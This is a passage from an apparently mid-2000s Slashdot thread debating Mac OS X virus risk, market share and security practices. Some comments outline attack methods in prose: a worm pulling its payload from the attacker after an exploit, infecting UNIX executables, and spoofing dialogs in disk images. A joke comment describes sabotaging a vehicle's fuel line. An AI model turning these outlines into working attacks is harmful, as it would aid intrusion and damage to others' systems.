The virus then executes a found exploit, causing the offending computer to download the converted virus from the attacking computer (uploading a virus via buffer overrun is tricky; it's better to simply send up a stub that grabs the virus from the attacker than to try for a full infection via exploit). This can be done by either piggybacking the download through a program that's been cleared by the firewall (wget, internet explorer, etc), or by creating a servlet whos only purpose is to wait for connections from the attacker and let it upload.

Hell, on OS-X, you could even have it download and compile the virus SOURCE behind the user's back.

I've said it here before: I'm a pretty good programmer, and I've been fighting viruses for years. Be glad I don't write the damned things; I could probably cripple the world. The same is true for any half-competant programmer with an interest in security.

Re:Dead On

[XMilkProject]

"4% of 71989 would be 2879 virus for the Mac. So at 40 OSX IS REMARKABLE."

Yes, and first let me say I'm not sure of either of those virus counts, i'm just taking the parents numbers for granted. I imagine the symantec count is hugely artifically inflated, given that they count every minor change to a virus as a new virus, often times having hundreds of derivations for a given virus.

That being said, there are of course many fewer virus threats for OSX. There are a couple obvious reasons for this.... First, if only 4% of computer users are on OSX, there aren't going to be many "hackers" who have had access to the OS to learn to make virii, and it's also fair to say that most of the 4% of OSX users are in very non-technical fields, and far less likely to be capable of the technical mischief. Yet another point would be that there is little motivation to write a OSX virus as you would be targetting a minority, and there are very few large networks of OSX systems, such as large corporations using Windows, which are breeding grounds for virii

I suppose the point I'm making, is that it seems there is a bit of 'security by obscurity' in place, that is falsly assumed to be actual security. It's not a bad thing, as it is very true that you are likely safe from this sort of harm if you are using OSX, regardless of the reasons for the safety. But People should also be aware that IF someone wanted to target their OSX machine, it would probably be possible... Just a bit harder than targetting a Windows machine i'm sure.

Re:Dead On

[dave1212]

That was pretty stupid of you.

Mac users don't need your help to realize they're not invulnerable.

  Are most Mac-haters really this petty? It seems so.

Re:Dead On

[NutscrapeSucks]

My memory was that the Mac virus problem was only really bad in the pre-System 7 / Mac Plus days, when having system floppy disks was much more of a necessity. I recall when Disinfectant first came out, and there was much rejoicing.

But the Mac marketshare peaked much later than that, with Performas and OS 8 and so on. By then, I don't believe there was a serious issue (maybe there were still nVIR infected floppies, but the 97% of the stuff caught by Disinfectant could not spread under anything post-System 7.)

Re:Dead On

[d34thm0nk3y]

Hell, the first worm to go wild on the internet was a UNIX sendmail exploit!

Re:Dead On

[Anonymous Coward]

...I snuck into her office and opened up her Macintosh's word editing software

Let me guess, Microsoft Word?

Re:Dead On

[14erCleaner]

This article was dead on.

My first ever encounter with this mentality was in high school when my metal shop instructor told us that she loved her Hummer and when I tried to argue with her about a number of things, she'd repeatedly reply with "No Hummer has ever been carjacked or exploded into flames."

Now, at the time, I was a young gearheadlet and probably should have let it slide but instead I snuck into her garage and opened up her Hummer's hood with the intent of some lil' bastardry. I found the fuel feed to the carburetor. After that, whenever she turned the ignition key, gasoline would spill out all over the engine. Unfortunately, her son knew enough about cars to fix it so my fun didn't last very long (only one or two lunges at the fire extinguisher).

Back to the issue--I think it is a grave mistake for anyone to ever feel 100% invulnerable when it comes to SUVs that are driven on the highway in anyway. I would diagnose this as a standard case of a false sense of security. This is something that has plagued many people throughout history and often led to their downfalls.

What message am I trying to get across to Hummer drivers? First, realize you're not invulnerable. Second, just browse around and look at what's out there for you to use as anti-carjack and fire prevention tools. And if you don't want to, read some horror stories, perhaps that will motivate you to become aware of possible explosions in your Hummer.

Re:Dead On

[Crayon Kid]

They couldn't have been designed from the ground up to be immune viruses because they were designed before they were even around.

Which goes to prove what good security design should be about. Think it right from the planning stage, in the right frame of mind, and you won't have to worry patching it later.

Re:Dead On

[sco08y]

If you can get a Mac user to double-click on a DMG attachment, programs can automatically execute.

DMGs don't autorun anything. They can pop up a license agreement, open a Finder window or copy their contents and trash themselves.

Re:Dead On

[Jezza]

Well this shows an important point - it's very easy for a Mac to become a "Typhoid Mary" (carrying infected files while being imune to the infection itself). For users who have Macs and PCs this can be quite a problem, or for users who run Virtual PC. Mac clearly has advantages from a security point of view (less of them, ask for admin password before allow admin task to run) but this is not a "magic cloak".

I run Anti-Virus on my Mac, I've modified the Firewall settings from Apple's default (stealth mode) and keep Mac updated with Apple's patches. Probably the best bit of advice I'd give is if Mac asks for the admin password: Think, don't just type it as a reflex. Also make sure you're getting your applications from people you can trust. Infections are possible on the Mac even if they need someone to do something "boneheaded" like supply their admin password. This isn't to say that the Mac isn't an excellent platform, and doesn't enjoy a justified reputation for security - it is, it does, but security is something even Mac users need to think about.

Relatedly; Windows Vista will ask users to confirm potentially dangerous actions by typing their admin password, which should improve security for PCs too.

Re:Dead On

[gordonb]

On the contrary, this "economic argument" actually favors development of exploits for *nix derived systems.

Yes, OS X, BSDs, and other *nix systems may be only ~5% of systems, but they are a greater proportion of servers (?70%) and are often deployed in corporations where there a major gains from owning the system (banks, brokers, etc.).

A hacker would get much more bang for his buck from owning a banking network than a bunch of individual Windows computer users and their overdrawn credit cards.

Re:Dead On

[segfault_0]

Since the article was about remote exploits and viruses i guess thats irrelevant. Physical security is a major problem for any platform when unmonitored users can sit at the actual system, which is the case for most home situations.

Re:Dead On

[Anonymous Coward]

Why would anyone bother to go to the effort of writing a virus for an operating system used on so few computers.

I'm sure it would be possible to write a virus for mac ox, but i dont use mac's and the os software is not widly or works with ibm compatibles yet - so even if i wanted to i couldnt write one! and the average virus writer is not going to spend $$$ on a mac :P

I see many virus's appearing when the switch the intel is made though hehehe

Re:Dead On

[Anonymous Coward]

You don't need administrator privileges for a virus; it simply makes spreading the virus easier because you have access more users' executables to transfer. In UNIX you can affix code to a any executable you have access to that replaces the address to jump to when executing with code that searches for files to infect and then execute the normal program payload. If you want to be really clever you can even detect if the program you've infected has a well-known gui event loop and provide the evil payload as an onidle event. If you don't use an administrator account to install all of your executables, then you've definitely got files that can be infected. Now if you distribute them, your virus will spread. The only thing having administrator privileges provides, is access to more files and the sort of malicious things you can do with the payload besides replicate. That is, without including detection and exploit code for known local security flaws.

The real defense OS X and UNIX in general has against viruses, is that there are few users compared to Windows. Those users don't as frequently distribute binaries to each other. There OS X and UNIX warez "scenes" look like a couple of pubic hairs compared to Windows. So even if you have a virus for OS X, the chance of it spreading is pretty low.

Re:Dead On

[hobbit]

she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it." Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software

So, um, you "hacked" her office, but not her Mac.

Re:Dead On

[poot_rootbeer]

has there EVER been a virus for OS X? Seriously?

To my knowledge there hasn't been, and going this long without a public exploit is a damn fine track record for a modern OS.

However, and this is the point of the story, that doesn't mean that there NEVER will be a virus for OS X. Mac users should still use secure practices like encrypting wireless traffic, running firewalls, never running as root, etc...

Re:Dead On

[tkdog]

But there have been these articles for ages. Always seem to be able to be summed up as "Mac users are being dumb by not worrying about viruses". But - there haven't been any OS X viruses. So, as a Mac user I'm supposed to sit up nights worrying about this? Or perhaps I should keep an eye on tech news sites for when an issue actually appears in the wild and be prepared to take an appropriate action at that time. I admit something I like about my Mac is that I don't have to be suspicious of every e-mail attachment. I keep malware in mind but I see no reason to be paranoid about it.

Re:Dead On

[Overly Critical Guy]

Congratulations, sir! You win the OS X Typo award. Every month, this award is given to the person who makes one of the following alarmingly common Slashdot typos:

1.) OS-X
2.) OS/X
3.) OSX86
4.) MAC instead of Mac
5.) And so many more.

It's OS X. The X is a Roman numeral to denote the tenth version of the software. Thanks for playing, and come back next month for round two of 2006! Bye bye, everybody!

Re:Dead On

[Anonymous Coward]

The word you're looking for is pseudo.

Re:Dead On

[colinrichardday]

And how many UNIX users have write access to directories containing executables? What executables would a typical Joe Six-Pack user distribute in the first place? And while free software is not "warez", there's a lot of Linux stuff on the web.

Re:Dead On

[ae]

He was talking about local security, not physical security. A local security problem is exploitable by non-root users for privilege escalation (i.e. becoming root). The typical local security problem is a setuid binary with a security flaw that cannot be accessed from the network (like he said).

Re:Dead On

[NutscrapeSucks]

Acutally, I'm pretty sure it can auto run a PKG file as well, because I've seen some that do that.

Re:Dead On

[dgatwood]

The highly lethal bit is actually the saving grace of the avian flu. It tends to incapacitate/kill the victim before they can spread it. Highly lethal viruses have a tendency to not spread quickly in the absence of a non-human carrier.

What I'd be more worried about is it spreading to some kind of animals with which humans come into contact more frequently, e.g. rats during the plague.

Computer viruses are similar. Have you ever noticed that viruses that wipe your hard drive or make the system unbootable tend not to spread very far? Same reason. The ones that spread are the ones that evade detection for a long period of time, only periodically phoning home or cautiously spreading themselves to other machines. The slower its attempts to spread itself, the less likely it is to be detected and quarantined. That/s why the first internet worm was caught and quarantined over the course of a couple of days, for example....

Re:Dead On

[Anonymous Coward]

1. Last time I checked, the Mongol Horde never did get into China. Walls work fine if you build them tall enough, thick enough and long enough.

Re:Dead On

[Midnight Thunder]

1. Last time I checked, the Mongol Horde never did get into China. Walls work fine if you build them tall enough, thick enough and long enough.

Was this because of the wall by itself, or because the wall was backed up by an active patrol?

Re:Dead On

[Anonymous Coward]

eldavojohn, your "horror stories" link is probably a little outdated, as I think that 2000 was still the pre-OS X era.

Mac OS X is in fact much safer, virus-wise, than older versions of the MacOS, and because it is not compatible with previous versions at all, it is inuvlnerable to non-OS X-specific MacOS viruses (of course, if you're running OS 9 through the Classic environment, then you're vulnerable, and you're still vulnerable to macro viruses).

That doesn't mean I don't run antivirus and firewall software on my Mac (as a matter of fact, I do), but so far, I haven't had any problem with viruses. And there are other reasons why the Mac can be a nicer platform than Windows ...

Re:Dead On

[drjzzz]

Gasp! He checked his own advice!
Quick, mod him down before this virus spreads into the virgin /. community where it could stifle discussion for days.

Re:Dead On

[Ekevu]

And Windows still has no way to stop these things, whereas OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

Do you need better proof that functionality sells, while security doesn't?

Re:Dead On

[Peganthyrus]

Hell, on OS-X, you could even have it download and compile the virus SOURCE behind the user's back.

OSX only comes with compilers if you specifically install them from the dev tools disc. Most people won't have done this.

Re:Dead On

[Dragon of the Pants]

Don't forget every /. poster is a Linux Zealot!

Re:Dead On

[iburrell]

Check again. Ogedei Khan, Genghis's son, conquered all of China.

Re:Dead On

[99BottlesOfBeerInMyF]

That's beside the point of the article. The article wasn't blasting security on the Mac, it was pointing out that Mac's are susceptible to problems to. Doesn't the vulnerability of software running on a Mac constitute a security problem on the Mac? If I can get in does it matter if it's through the OS directly or through an application?

Yes, it does matter. A remote exploit available in the default install of an OS is what allows for a worm to propagate and is what makes plugging an unpatched Windows machine into a network suicide. Local vulnerabilities that don't even include a privilege escalation are a completely different severity. When those vulnerabilities further do not even have any payload that will affect OS X, well that is less of a threat as well.

The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes. It was railing against the same type of thinking that causes parents to decide not to get their children vaccinated against things like measles because you never hear of measles cases anymore. Of course not! It's because we've been vaccinated! So Mac users: go get your booster shots.

Your analogy is flawed. How about if parents on the remote island of Wabbachucha don't go to the bother of flying to the mainland to get their kids vaccinated when their has never been a single reported case of measles on the island, while there have been a number of plane crashes flying to the mainland. Right now the mac neighborhood is in pretty good shape. By default the machines are relatively secure, and the architecture lends itself to containing and preventing security issues. It makes sense to be cautious and it makes sense to take precautions, but you have to have a reasonable threat assessment. If you have an 18 year old daughter living in Detroit, it might make sense for her to get a concealed pistol permit, especially if she goes out at night. On Wabbachucha, crime is so low the risk is greater that she will injure or kill herself than prevent harm to herself.

So far there have been no worms or viruses that have affected the mac. All vulnerabilities have been fixed before that becomes a problem. So far there have been two instances of virus scanning software for the mac that have had adverse affects and damaged files. Personally, I run ClamAV and LittleSnitch as well as some other useful precautions, but for the average user, they really are better off without these days. Mac users, don't get your booster shots until there is something in the syringe. Until there actually are viruses for the Mac propagating in the wild, don't risk installing possibly buggy virus scanners and certainly don't pay money for them.

Re:Dead On

[Anonymous Coward]

..and very quickly after this secuity hole was discovered, Paranoid Android was out to close it..

Re:Dead On

[99BottlesOfBeerInMyF]

1. No castle wall in the past ever kept the invaders out indefinetly[sic]

This is patently untrue. There are plenty of castles that were never taken, just abandoned or decommissioned.

2. Never understimate[sic] a determined person.

Guess what, there are people out there that can hack your Windows, Linux, or OS X box. There are some really smart people out there and they can always find a way into a generic box. Guess what, there are also really smart people out there that can lock down a box so well, obfuscated behind honeypot VMs and with such tight permissions, ACLs, and hardware keys that no one will ever hack them. We're not talking about either type of people. We're talking about virus/worm authors. Most of them are in it for the fun or to make a profit selling bots. A few want to use them for a DoS attack or for some other purpose. The majority of these people with any clue have so much low hanging fruit to gather they will probably never bother with an OS X machine unless Windows actually implements reasonable security. What is the real risk? The risk is that someone will write a mac virus just because it hasn't been done yet. It certainly can happen, but with the default security, the giant target next door, the number of profession security people on macs, and the relative speed of Apple's responses to threats it just isn't something that I'm going to bother worry much about.

Re:Dead On

[Michalson]

Well consider this: 6 days ago Apple released patches for critical problems in Quicktime (make sure you update to Quicktime 7.0.4). All of them lead to reliable arbitrary code execution, as a result of Quicktime/Quicktime browser plugin/iTunes reading GIF, QTIF (An Apple image format, like Windows WMF) or MOV files. The vulnerabilities affect all operating systems using Quicktime - Windows and Mac OS X. The QTIF vulnerability was quickly patched in 12 days (a few days slower then the WMF vulnerability that everyone jumped on Microsoft about). The GIF vulnerability (the least likely to be exploited since GIF files are not usually read by Quicktime) took the longest at 71 days to patch. However the showstopper was the MOV vulnerability. It allowed for reliable code execution just by playing a MOV file - easily embedded in a webpage, almost always played by Quicktime, and usable on many free "funny video" upload services, allowing for anonymous attacks. This extremely dangerous vulnerability was reported to Apple in November but a patch wasn't released for 54 days, providing a large window for hackers to strike with a 0-day exploit. Of course when Apple released the patch, as with all of Apple's many regular security fixes, there was little fanfare. In fact sites like Slashdot.org actually rejected submissions alerting people to the need to update and protect their systems from Apples security problem. That was a good thing for Apple, since the patch (which also fixed 4 other vulnerabilities) quickly proved to be unstable, and was withdrawn. Now anyone visiting the detailed description of the vulnerability can begin constructing and deploying infected video files designed to attack users machines as soon as Safari, FireFox, IE or any other browser, on Mac or Windows, plays them with Apple's Quicktime plugin. Of course with a zero-day exploit that can attack almost any non-Linux computer on the planet just by visiting a webpage now in the wild for 6 days, we haven't seen many if any attempts to use it. Maybe having legions of cult members chanting "Apple is perfect" really do protect the Mac

Re:Dead On

[PsychoSid]

Does anyone on this site know logic?

You're new here aren't you ?

Re:Dead On

[Krach42]

The issue here with virus proection in computers is that it is entirely reactive. Even if you have that shiney new virus scanner, it won't catch viruses that are written after your virus lists have been updated.

Essentially, this whole herd immunity thing is going to exist on OSX until it becomes an issue. There was nothing that the Native Americans could have done to prepare themselves for smallpox, except wait for it to come. In the same way, there's nothing that OSX can do to reasonably protect themselves now.

Re:Dead On

[ceoyoyo]

Actually, those are market share numbers (new computers). For actual installed base, apparently Apple has a disproportionately large number relative to market share because old Macs tend to hang around longer.

Re:Dead On

[ceoyoyo]

No, as a Mac user you're supposed to rush out and buy Symantec or McAfee's virus scanner. It doesn't actually do anything, since it doesn't have any virus signatures, but it will wear out your hard disk and suck processor time pretending to keep you safe.

After all, you'd vaccinate your kids right? Funny... I didn't ever get hepatitis or rabies vaccinations until I travelled to places where I could actually GET those diseases.

Everybody should be conscious of security concerns if their computers are hooked up to the Internet. But that doesn't mean you have to live in fear. I'll install a virus scanner on my Mac when there's an actual need for it. In the meantime I'm quite happy that there IS no need for it. I chuckle a little bit too when all the PCs go down to a virus and my Mac's only problem is that the network is slow because of all the infection traffic. I expect Linux users do the same.

Re:Dead On

[ceoyoyo]

More complex doesn't necessarily mean better. There's more to security then access lists and filesystem permissions too.

I think one of Window's biggest security problems is, as you said, bad implementation. Windows was never designed to be used on a network -- all those features were grafted on. UNIX was designed to operate on a network. Plus both OS X and Linux were born in the Internet age. You can see this in the WMF thing -- MS has said that when that metafile code was written such files were completely trusted and Windows didn't know anything about networks.

Re:Dead On

[Anonymous Coward]

Be glad I don't write the damned things; I could probably cripple the world.

Any person in their field could cause huge damage if they wanted to. I'm a biochemist, and looking at the bird flu scare (the H5N1 virus) I can honestly tell you that anybody with a biochemistry degree and access to a properly equipped lab could turn out a humanised form in about 2-4 weeks. So there are hundreds of thousands of people worldwide who could come up with a virus before the end of February that could kill hundreds of millions of people.

Big deal. The vast majority of people aren't interested in malicious acts - that's the reason that society works... Mutual trust.

Re:Dead On

[legirons]

"Windows ships with ports open for non-essential services"

Not being a security expert myself, but when I installed various types of Linux, they all seem to have ports open for non-essential services. For example, my current machine (default KUbuntu) there's CUPS (I don't have a printer, but all sorts of applications complain when I try to remove it), XML-RPC (don't think I've ever used that), X11 (it's a desktop, why expose that to the network?) and interestingly enough seems to be listening on SMTP too.

As far as I can tell, that's about the same number of default open ports as Windows.

By comparison, my Mac seems to be showing just port 53 open -- not sure whether that's because it's routing internet requests from the PC...

Re:Dead On

[Anonymous Coward]

Macs don't get the kind of scrutiny that Windows machines do

Yes, exactly. The only reason there are so few Mac viruses is that they wouldnt have nearly as much impact, plus the virus-writers probably dont have a Mac ( is it 4% of computer users that have macs or something). In addition, Macs are expensive test machines.

Re:Dead On

[Moofie]

What does hardware platform have to do with virus susceptibility? Oh, right...nothing. Now I remember.

Re:Dead On

[simpl3x]

I'm frankly more afraid of the anti-virus software than I am of OS X being compromised! When a "real" threat materializes, I'll have a plan of attack. Until then, it's regular backups!

Re:Dead On

[pomo monster]

HAHAHA! You just made my day.

More topically, as an Ibook owner myself, I think it's only a matter of time before a worm or virus comes along to wipe that smug grin off our faces. I honestly don't understand how anyone can argue otherwise. There have been numerous (dozens) of security patches released through Software Update for bugs which, had they only been discovered by black hats, could give us hell on earth. Especially considering OS-X viruses would necessarily be more creative than their PC counterparts--not just deleting shit, but flinging our private documents across our address book contacts, perhaps. Certainly, MAC knows this, which is why MAC doesn't go about screaming from the rooftops about MAC's supposed immunity from virii.

Re:Dead On

[blakestah]

It would be more appropriate to compare a distribution of linux to a Windows install, and not linux in general. Because linux in general spans the spectrum on open ports at install. Debian, however, installs with no open ports. A nice thing to do is run the netstat command to see which ports are listening. My Mac OS X machine shows no system open ports. I don't know why you are running a name server, maybe it is a local caching dns only open at 127.0.0.1?

My Debian linux box shows no open ports either, except those I enabled. I like running a name server on it with djbdns b/c I know there is no worry about that port, and it speeds up the internet.

And in general, if a port is open and you don't know why, close it. Or risk having to learn the hard way. This is a great rule of thumb for Windows, linux, and Mac alike. One remote root can eat an entire workday at an unpredictable time.

Re:Dead On

[Jesus_666]

The problem is, how do you lock down an OS X box? Install a Personal Firewall? (Just kidding.) Install Clam AV and wait for the day when they add a signature for the virus? Use NAT* to shield you from any unsolicited accesses (like any Win box should be kept?

Bad security is bad, alright, but how do you defend yourslf against somthing wihout knowing if, when, how and where it will appear? Saying "OH NOES TEH MAC USERS HAV TEH BAD SECRUTIY"!1" is easy, coming up with sensible ways of preparing for the case of emergency is not as much.


* As someone who thinks that IPv6 is cool I find it mildly amusing that the only thing keeping many Win boxes from being turned nto zombies (and my default answer to internet-related security problems) is the very thing IPv6 proponents habitually get enraged about.

Re:Dead On

[Macdude]

The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes.

And that's where the article is wrong. Mac user's aren't as threatened so they don't have to be as cautious. Here's an analogy for you; a guy crossing a high-wire has to be extremely careful each and every step of the way, one small misstep and he could plunge to his death. Another guy walking down the sidewalk doesn't need to be anywhere near as careful, he could still step into a open manhole or in front of a truck but the odds of it happening are very slim and so he doesn't require the same level of care.

There have been numerous incidences where a Windows user gets infected by simply viewing a web site or email. That simply doesn't happen to OS X users. It's true it theoretically could happen but theoretically I could get wacked in the head by a meteor the next time I walk out the door -- but I'm not going to worry about it.

When Mac OS X viruses start being found in the wild, then I'll start worrying about it.

Re:Dead On

[valmont]

There are a couple of assumptions that bother me:

mac users believe they're not vulnerable to harm: that's utter bull-crap. But it does come down to relative statements. We're not 100% safe. We're relatively safER than our windows-using counterparts. For one, Mac OS X has ALWAYS shipped with ZERO service enabled. Until XP Service Pack 2, Windows consistently shipped with at least one or two services listening on a given port. One MAJOR attack vector of a windows system, was simply opening-up your brand new DELL PC, plug it into your DSL modem and get infected within seconds by Sasser even before you could patch yourself. That's because Windows had some service turned-on BY DEFAULT. That's always been an incredibly retarded thing for Microsoft to do, and which they've done since at least Windows 95, and the principal attack vector of most virulent worms to date. The other thing that makes mac relatively more secure is that yes, indeed, there are not as many macs on networked computers than there windows machines. Diversity is a good thing, and plays well in mac users' favor. Then i won't even start touching on the myriad of security holes with Microsoft's integration of core operating system hooks into its web and email technologies, such as Internet Explorer and Outlook, favoring convenience with security being only a mere afterthought. And then there's ActiveX.

The other assumption that bothers me is that effective protection HAS to come from 3rd-party software solutions. Guess what, if you don't have any services running, there's no point in having a "firewall". An antivirus software isn't all that useful when they're reactive solutions. Effective anti-virus software will try to detect suspect behavior, but then again, Mac OS X has a lot of hooks in place that perform a lot of these tasks: All passwords are stashed-away in the Mac OS X keychain, access to the keychain by any application must be explicitly authorized by the user, Mac OS X warns the user each time an application is being run for the very first time, Mac OS X warns the user after the download of an Application from its main web browser, Safari, etc. Spending money and wasting CPU cycles on 3rd-party software solutions, at this point in time, isn't necessarily the most effective way to keep our macs safe. Users should, for now, abide by the BEST PRACTICES Mac OS X is trying to get them to adhere to.

Re:Dead On

[Teresh]

Wouldn't I have to download three versions of the same virus for this to be a problem? Last time I checked, PE binaries don't run on Linux and ELF binaries don't run on Windows. Yeah, in theory it could download the right virus for the platform, probe the system and run them, but please explain to me how exactly a binary that won't run on my kernel would be able to do that? I guess you could send me a shell script, but that wouldn't work on Windows. Hmm. Suddenly your 'platform independent virus' idea stops making any practical sense.

Re:Dead On

[WilliamSChips]

MacOS X: 0, Linux: Non-zero but very small.

Actually, you got those two numbers mixed up. Mac OS X has had one or two viruses, but Linux has had none outside of deliberate spreading.

Re:Dead On

[dirty]

Safari will warn you when you download a DMG that contains an application, and I don't think a package can auto-install. You actually get a warning if the package needs tries to run a script to determine if it can be installed (since that script could very easily do bad things to your computer). Again, you have user interaction required and steps that should make even the most clueless of users think for a moment about what is going on. I'd say it's a very relevant point.

Re:Dead On

[dirty]

I think they used to be able to do that but it was removed for obvious security reasons a long time ago, I think in the early 10.3 days. This was before I was a Mac user so I'm basically talking out of my ass about something I remember some of my friends talking about.

Re:Dead On

[NutscrapeSucks]

Yeah, they may have removed it in 10.4 -- I can't find any clear documentation on how it works or used to work.

However, I did learn about a fun feature where DMGs can hide the Finder toolbar and display an embedded background image, which basically would allow them to spoof a OS dialog.

Re:Dead On

[dirty]

Hrm...you probably could make icons that resembled icons, at least close enough to fool a novice user. I don't think you can make anything in a finder window that would respond to a single click, but I know a lot of people double-click web links, there may be a lot who double click buttons as well. I think I'm going to play around with this to see exactly how far I can get with it.

You may have stumbled onto an undiscovered security issue.

Re:Dead On

[Anonymous Coward]

Well this is a timely article for me... This weekend I remembered the listing of Mac OSX in http://www.sans.org/top20/SANS Top 20 Vulnerabilities and as I newbie to Mac OSX I decided to check it out. After being extremely dissappointed that all they did was say "it has vulnerabilites" (all of which I was already patched against...) and that I should "run software update" (which is set by default to run weekly, I had already changed it to check daily...), I decided to run through the CIS Benchmark on securing OSX. 50 pages and several hours later, I came to the conclusion that its based on an older version of OSX and almost everything they mentioned fell into one of three categories:
1/ Default behaviour already.
2/ Instructions out of date so I couldn't verify it needed changing (eg change an xml file that is now a binary file)
3/ Unneccessary for a home user (eg warning banner on login)

But at least now that I've spent more time that 99.99% of windows users ensuring my machine is secure, I can tell everybody that comes up with the "Mac isn't that secure" debate to go jump.

Re:Dead On

[Anonymous Coward]

The point of TFA is that Macs don't get the kind of scrutiny that Windows machines do.

Idiot.

Re:Dead On

[kcarlin]

Essentially, this whole herd immunity thing is going to exist on OSX until it becomes an issue. There was nothing that the Native Americans could have done to prepare themselves for smallpox, except wait for it to come. In the same way, there's nothing that OSX can do to reasonably protect themselves now.

Actually, there is no shortage of lower level "incursions" at the PUP (probably unwanted program) level on OS X. Fortunately, there are some pretty good tools available for catching and quashing them. My favorite comes straight from Apple. While I applaud overall the commitment that Steve Jobs and Apple have shown to security, iTune's nasty habit of feeding my listening decisions to a "2o7" address for capture and processing by a third part vendor represents a significant lapse in this area. Far from being an opt-in, Steve and Apple seem to think they have a right to this information without consultation. I blocked this for years without even knowing what it was. Currently, Little Miss Snitch is cheerfully quashing that bit of mischief, and I block the cookies in FireFox.

Omniture operates 2o7.net, and provides their defense with and opt-out here. iTunes attempts to send information to 2o7 whenever I open iTunes and whenever I play a song on iTunes, clearly exceeding the parameters of the 2o7 program as described in their defense. A recent security bulletin on 2o7 indicated that Omniture was transitioning their services to piggyback on the clients' domain name, probably leading me to replace iTunes and give up using the iTunes Music Store.

None of this can be compared to the mindless zombie spambot hell offered by some other vendors, of course, but this game of cops and robbers is still being played at some level on OS X. It is not quite time to canonize Steve as the patron saint of security and privacy.

I remember Steve announcing Safari, and assuring the assembled faithful that his engineers were working by arrangement with IE engineers to assure a high level of compatibility with the "industry standard". He has been good to his word, Safari security issues tend to remind one of IE. Imagine how hard it must be to be a good netizen while competing for compatibility with IE. Real Mac security relies on third party and open source replacement software like FireFox, but not to nearly the same extent. He also ships Tiger with a Microsoft Office trial edition, significantly increasing the number of known exploits available on his platform. Mac users can significantly improve system security by deleting such items.

Finally, the commercial vendor I was using for virus scan proved better at charging the credit card than delivering a working product license, bit ClamXav has proven a worthwhile way detect and eliminate the limited malware that actually finds its way to my system. The only time I notice a virus scan on my iBook is if I am playing a DVD. Nothing has shown up so far (that I have been able to detect) that represents a threat on an OS X system with no Microsoft products installed. I really don't mind using a platform that has too few security concerns to attract serious interest from all those vendors thriving on other platforms.

Folks who migrate to OS X for security reasons strike me as more likely, not less, to attend to these concerns. The unwary herd is happily playing the latest FPS blissfully unaware of their dual role as zombie spambot to the world while their credit card accounts accumulate mysterious charges and their life savings is wired to the Caymen Islands.

Re:Dead On

[tyler_larson]

I suppose the point I'm making, is that it seems there is a bit of 'security by obscurity' in place, that is falsly assumed to be actual security.

Let's keep in mind that virtually all security is "security by obscurity". That is, passwords, private keys, cryptographic hashes, etc., all rely on the principle of you being able to keep a secret from the attacker. Don't discount a working security method just because it's nontechnical.

Security is costly. Any principles of security that don't increase cost or cause inconvenience really are never part of the discussion. Complete and absolute security is impossible, so the question is, how much are you willing to sacrifice to stay secure X% of the time?

For OS X users, malware represents only a negligable threat. Investing large amounts of resources (not just money) in a malware-protection system for OS X is a poor investment because the potential for return is so low. You can expect a greater return on investment by securing yourself against hardware failure, user error, and physical break-ins. Your security budget is only so large; use it wisely.

Re:Dead On

[epee1221]

there aren't going to be many "hackers" who have had access to the OS to learn to make virii
Yeah, 4 percent of the population isn't a whole lot.

and it's also fair to say that most of the 4% of OSX users are in very non-technical fields, and far less likely to be capable of the technical mischief
And I'd say the same for Windows users.

Yet another point would be that there is little motivation to write a OSX virus as you would be targetting a minority
This is the only thing I'd consider a valid point. I'd hack Macs because I've always been around them all the time at school. Most people aren't in such a situation.

Re:Dead On

[epee1221]

I haven't read much about it or messed around with it much lately - is Windows still at the point where executables labeled as data (say an image or a document) will be run as executables when opened?

Re:Dead On

[Anonymous Coward]

No.

Re:Dead On

[segfault_0]

Did you read the article or the post? The article was completely about viruses and malware - the post you replied too was mostly about viruses and he mentioned patching which i guess could be construed as an opening to a local security debate - but its a stretch. I know what local security is, i just think your off topic.

Re:Dead On

[lightknight]

Right...this reminds me of an old Dilbert cartoon.

In the first pane, Dilbert and Dogbert are watching the news. From the newscast: "There hasn't been a murder in this town since 1978."

In the second pane, with the word "Optimist" floating over his head, Dilbert thinks "We're safe forever."

In the third pane, with the word "Pessimist" floating over his head, Dogbert thinks "We're due."

Re:Dead On

[dspisak]

I'll make this dead simple.

What you said is utter bullshit.

Go learn how real worms work bub.

Re:Dead On

[mattkinabrewmindspri]

Name me an OS X virus. Please.

And no, I'm not talking about that mythical Applescript which I have never encountered which the user had to download and run, which would delete the user's home folder.

Re:Dead On

[mdwh2]

4% of 71989 would be 2879 virus for the Mac. So at 40 OSX IS REMARKABLE.

By what logic do you think it would scale linearly?

I would say that a disproportionately higher number of people would be attracted to write viruses for the larger platform.

I might as well claim that AmigaOS is more secure, because there haven't been many viruses for that anytime recent.

Re:Dead On

[doughrama]

HAHA! No, you totally made my day. Mixing the inevitable truth with all the classic "wrong things" to say about Apple related stuff. Brilliant work. If I had mod points I would mod you up.

"Never attribute to malice that which is adequately explained by stupidity." -Hanlon's Razor

Or maybe I completely read your intent incorrectly. Maybe you're trying to be a troll, or maybe you're just stupid. Please don't correct me if I wrong. I prefer to think that your are both witty and insightful.

Re:Dead On

[Gilmoure]

Largest Mac virus update I ever saw (Authorized Apple Tech) was at an elementary school, that still had old 68030 Macs and they were networked to a file server. Someone brought in a floppy disk with some old virus on it and it spread through out the school (200+ machines, running classic). Took a day of about 8 people running around running Virex on everything. That was back in '98. Last Mac virus I saw.

Re:Dead On

[earlejones]

I have used Macs continuously since they were invented -- 1984. The only virus I have ever encountered is one that I installed myself in order to test some Symantec virus-detection software. This was the old WDEF virus in System 8 (as I recall). I asked my colleague, Dr. Peter Neumann at SRI about Mac viruses. Peter is a noted computer security expert. I asked him, "Why is it that PCs get viruses all the time and Macs very rarely? Is it that the hackers are not interested in the 5% market, or is there something special about the Mac OS that makes it more difficult?"

In Peter's opinion, it was some of both. It is easier to be mad at Gates and Microsoft. Who's mad at Jobs and Apple?

Mac OS X is built on UNIX. UNIX was developed by Bell Labs many years ago as an operating system for multiple-user machines -- typically what were called "minicomputers" to distinguish them from "mainframes" -- the really big machines.

The claim to fame of UNIX, and one of it's design principles, was to allow a user to have easy and reliable access to his own information, while making it impossible for a user to access some other user's data. That philosophy still holds true and protects the Mac from hacker invasion.

As I understand it now, the biggest virus threat to Macs comes from running Microsoft applications!

earle
*

Re:Dead On

[Creepy]

